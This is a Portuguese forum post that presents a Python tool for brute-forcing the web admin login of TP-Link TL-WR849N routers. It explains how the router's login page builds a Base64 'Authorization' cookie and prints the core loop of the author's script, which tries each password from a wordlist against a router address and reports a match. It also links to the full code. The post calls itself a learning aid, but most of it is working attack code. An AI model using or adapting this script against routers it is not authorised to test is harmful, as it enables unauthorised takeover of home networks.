Jump to content

Tools Router Brute - Script em Python para realizar brute force em roteadores TP-LINKs


Walderlan Sena

Recommended Posts

Tools Router Brute

 

Ferramenta para executar ataque de força bruta em roteadores TPLink.

Download código completo: https://github.com/WalderlanSena/toolsrouterbrute

Modelo Roteador Wireless N 300Mbps TL-WR849N

model1.thumb.jpg.44c2b6c92f6bea38d2afc717a5d30707.jpg

  • Velocidade wireless de 300Mbps ideal para aplicações sensíveis a interrupções, como streaming de vídeo em HD
  • Fácil configuração da criptografia de segurança da rede wireless com um simples toque no botão WPS Controle de banda baseado em IP permite aos administradores determinarem que largura de banda será alocada para cada computador
  • WDS wireless bridge fornece perfeita ponte para expandir a rede wireless.
  • Site: https://www.tp-link.com/br

 

Funcionamento da Autenticação do TP-Link - TL-WR849N

  • Capturando url atual e subscrevendo o valor para o link definido no replace e redirecionando o usuário.
  • Criando uma variável isLocker e atribuindo o valor false a mesma.
  • Deletando o cookie Authorization, vulgo responsável pela a autenticação.
var url = window.location.href;

if (url.indexOf("tplinklogin.net") >= 0)
{
    url = url.replace("tplinklogin.net", "tplinkwifi.net");
    window.location = url;
}

var isLocked = false;

deleteCookie("Authorization");

Função responsável implementar a hash base64, que é utilizada para setar o cookie de autenticação.

function Base64Encoding(input) 
{
	var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
	var output = "";
	var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
	var i = 0;
	input = utf8_encode(input);
	while (i < input.length) 
	{
		chr1 = input.charCodeAt(i++);
		chr2 = input.charCodeAt(i++);
		chr3 = input.charCodeAt(i++);
		enc1 = chr1 >> 2;
		enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
		enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
		enc4 = chr3 & 63;
		
		if (isNaN(chr2)) 
		{
			enc3 = enc4 = 64;
		} 
		else if (isNaN(chr3)) 
		{
			enc4 = 64;
		}
		output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
	}
	return output;
}

Função que monitora o clique de login e captura os dados informado pelo usuário

function PCWin(event)
{
	if (event.keyCode == 13)
	{
		PCSubWin();
	}
}

function PCSubWin()
{	
    // Verifica se o usúario não está bloqueado por alguns segundos
    if (isLocked == true)
     {
	return;
     }
    // Criando uma variavel que receberá o base64 referente a autenticação
    // E criando duas variavels para receber o userName e o password
    var auth;
    var password = $("pcPassword").value;
    var userName = $("userName").value;
    
    // Concatena a palavra "Basic" com a hash base64 de userName com ":" e o password
    auth = "Basic "+Base64Encoding(userName+":"+password);
    // Atribui o valor ao Cookie do navegador com a chave Authorization e com o auth como conteúdo
    document.cookie = "Authorization=" + auth;
    // Recarrega a página
    window.location.reload();
}

Entendendo o funcionamento do nosso script que chamei de trb.py

def main():
    wordlist = open(sys.argv[3], 'r')
    count = 0
    for i in wordlist:

        login = str(sys.argv[1])
        senha = i.rstrip()
        auth  = "Basic "

        authEncode = auth+base64.b64encode(login+':'+senha)

        cookie = {"Authorization": authEncode}

        response = r.get('http://'+sys.argv[2], cookies=cookie)

        if response.content.count('id="userName"') != 1:
            os.system('setterm -cursor on')
            print('\n\tPassword Found =====> ' + senha)
            exit(0)
        else:
            os.system("clear")
            splash()
            count = count + 1
            print('\t[ '+ str(count) + ' ] Password not found ===> ' + senha)	

Primeiramente lemos a wordlist (Lista de palavra possíveis para a senha do roteador.) e o login passados via parâmetros  no script. Posteriormente fazendo a encriptação do ambos os dados para base64, montando assim o cookie e enviando para o ip do roteador.

Capturamos o retorno e verificamos a palavra chave retornada após o login.

O script é bem simples. Servindo para compreender como as ferramentas mais complexas realizam tais operações !

 

Mas lembre-se, "Hacker e como escrever uma redação, você apenas tem um tema e cada um vai pensar em uma solução diferente."

 

Grande abraço !

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...